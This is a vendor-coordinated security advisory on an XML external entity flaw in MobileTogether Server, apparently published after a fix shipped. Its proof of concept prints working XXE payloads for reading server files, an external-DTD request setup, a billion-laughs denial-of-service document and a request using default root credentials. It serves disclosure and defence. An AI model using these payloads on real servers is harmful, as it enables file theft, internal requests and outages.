Advisory: XML External Entity Expansion in MobileTogether Server  
RedTeam Pentesting discovered a vulnerability in the MobileTogether  
server which allows users with access to at least one app to read  
arbitrary, non-binary files from the file system and perform server-side  
requests. The vulnerability can also be used to deny availability of the  
system. As an example, this advisory shows the compromise of the  
server's certificate and private key.  
Product: MobileTogether Server  
Affected Versions: 7.0-7.3, potentially earlier versions as well  
Fixed Versions: 7.3 SP1  
Vulnerability Type: XML External and Exponential Entity Expansion  
Security Risk: medium  
Vendor URL:  
Vendor Status: fixed version released  
Advisory URL:  
Advisory Status: published  
CVE: CVE-2021-37425  
"MobileTogether Server is the processing powerhouse for your native iOS,  
Android, Windows, and browser-based apps.  
MobileTogether Server is the back-end hub for your solutions and acts as  
a gateway between end-users and your back-end data sources and  
(from the vendor's homepage)  
More Details  
MobileTogether Server is a back-end application hosting developed apps  
and provide access to various platforms and devices. Access to these  
apps is possible via native applications for devices and operating  
systems or directly via the browser. To access the MobileTogether  
server, depending on configuration either an anonymous login is possible  
or credentials are required.  
During analysis of the communication between a MobileTogether client  
application on a smartphone and the MobileTogether Server, HTTP requests  
were observed containing JSON as well as XML data. Generally, the XML  
data is used to signal changes in the UI or user-supplied input for the  
app hosted in MobileTogether Server.  
It was found that user-supplied XML external entities included in the  
described HTTP requests are resolved by the MobileTogether Server and  
the result is reflected in an HTTP response.  
This behaviour allows to read local files, perform server-side requests  
and also deny the availability of the service through XML exponential  
entity expansion. However, file disclosure is limited to non-binary  
files and the absolute path needs to be known in advance.  
Proof of Concept  
MobileTogether Server comes with a series of example applications. To  
exploit the vulnerability, access to at least one application is  
required. In the following, the app EuroFXrates and the default user  
root with the default password root is used for demonstration of the  
The following HTTP request contains the minimal data required to be  
accepted by the server resulting in the processing of the XML data  
stored within the JSON field InfoSetChanges/Changes (formatted for  
better readability):  
POST /workflowmanagement HTTP/1.1  
Authorization: Basic cm9vdDpyb290  
Content-Type: application/json  
Content-Length: 851  
Connection: close  
"DeviceY": 0,  
"ClientVersionName": "7.2.2",  
"MobileManufacturer": "",  
"AllInfosetsSerialized": true,  
"ServerName": "",  
"ProtocolVersionMax": "2",  
"Language": "en-US",  
"DeviceType": "",  
"ClientKey": "1_11148009037086584903_2744738433663963458",  
"DeviceXDPI": 0,  
"DeviceYDPI": 0,  
"DeviceYCanvasWithTabs": 0,  
"ClientArchiveVersionUUID": "{C022C8D8-8B2B-4D45-BD00-0DB942509EA3}",  
"ProtocolVersionMin": "2",  
"DeviceXCanvas": 0,  
"ClientArchiveVersionMin": "-74",  
"MobileOSVersion": "Android 11",  
"DeviceXCanvasWithTabs": 0,  
"ClientArchiveVersionMax": "65",  
"User": "root",  
"DeviceX": 0,  
"DesignFileName": "/public/EuroFXrates",  
"EncValue": "M9EBc6-7P5cd0",  
"DeviceYCanvas": 0,  
"MobileID": "5b39edd9-2533-4a61-ae66-b906893c5412",  
"InfosetChanges": [  
"Changes": [  
"": "<?xml version=\"1.0\" encoding=\"utf-8\"?>  
"ID": "$$PERS$$"  
"DeviceIsPortrait": true  
With the following XML data it can be verified that XML entities are  
resolved and reflected within predefined XML tags in the HTTP response:  
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE Root [  
<!ENTITY redteam "RedTeam Pentesting">  
The HTTP response contains the resolved XML entity:  
HTTP/1.1 200 OK  
Content-Type: text/html;charset=utf-8  
Server: CherryPy/18.1.0  
<?xml version=\"1.0\" encoding=\"utf-8\"?>  
<RedTeam>RedTeam Pentesting</RedTeam>  
The following example shows how local files can be read from the server  
system hosting the MobileTogether Server on a Windows system:  
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE Root [  
<!ENTITY redteam SYSTEM "file://c:/windows/win.ini">  
The content of the file is shown below and formatted for better  
HTTP/1.1 200 OK  
Content-Type: text/html;charset=utf-8  
Server: CherryPy/18.1.0  
<?xml version=\"1.0\" encoding=\"utf-8\"?>  
; for 16-bit app support  
[mci extensions]  
One interesting target for attackers could be the configuration file for  
the MobileTogether Server residing at the following fixed location:  
For example, if the server supports HTTPS, the absolute path to the  
server's certificate and private key is stored in its configuration.  
Furthermore, external XML entities can be used to access third-party  
websites as well as web services that are only available internally.  
Together with an externally hosted XML DTD, response information can be  
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE root [  
<!ENTITY % start "<![CDATA[">  
<!ENTITY % content SYSTEM "">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM ""> % dtd; ]>  
The DTD contains the following information:  
<!ENTITY redteam "%start;%content;%end;">  
In the HTTP response, the HTML markup delivered by  
is now visible.  
A further vulnerability attacks the availability of the service through  
XML exponential entity expansion. This is demonstrated with the  
following XML document:  
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE root [  
<!ENTITY redteam0 "RedTeam Pentesting">  
<!ENTITY redteam1 "&redteam0; &redteam0;">  
<!ENTITY redteam2 "&redteam1; &redteam1;">  
<!ENTITY redteam3 "&redteam2; &redteam2;">  
<!ENTITY redteam4 "&redteam3; &redteam3;">  
<!ENTITY redteam5 "&redteam4; &redteam4;">  
<!ENTITY redteam6 "&redteam5; &redteam5;">  
<!ENTITY redteam7 "&redteam6; &redteam6;">  
<!ENTITY redteam8 "&redteam7; &redteam7;">  
<!ENTITY redteam9 "&redteam8; &redteam8;">  
<!ENTITY redteam10 "&redteam9; &redteam9;">  
<!ENTITY redteam11 "&redteam10; &redteam10;">  
<!ENTITY redteam12 "&redteam11; &redteam11;">  
<!ENTITY redteam13 "&redteam12; &redteam12;">  
<!ENTITY redteam14 "&redteam13; &redteam13;">  
<!ENTITY redteam15 "&redteam14; &redteam14;">  
<!ENTITY redteam16 "&redteam15; &redteam15;">  
<!ENTITY redteam17 "&redteam16; &redteam16;">  
<!ENTITY redteam18 "&redteam17; &redteam17;">  
<!ENTITY redteam19 "&redteam18; &redteam18;">  
<!ENTITY redteam20 "&redteam19; &redteam19;">  
Sending the shown XML document leads to a huge server-side resource  
allocation which ultimately disrupts the availability of the  
MobileTogether Server.  
None known.  
According to the vendor, upgrading to version 7.3 SP1 resolves the  
Security Risk  
Attackers in possession of an account for a MobileTogether Server with  
access to at least one app are able to read files from the server  
system, conduct HTTP requests to external and internal systems and can  
also deny the availability of the service. Access might also be possible  
through default credentials or the anonymous user.  
2021-06-21 Vulnerability identified  
2021-06-23 Requested a security contact from vendor  
2021-06-25 Security contact established with vendor  
2021-07-05 Customer approved disclosure to vendor  
2021-07-05 Vendor notified  
2021-07-20 Vendor acknowledged vulnerability  
2021-07-22 CVE ID requested  
2021-07-23 CVE ID assigned  
2021-07-28 Vendor released fixed version  
2021-08-10 Advisory released  
RedTeam Pentesting GmbH  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
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in Aachen, Germany. If you are interested please visit:  
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen  
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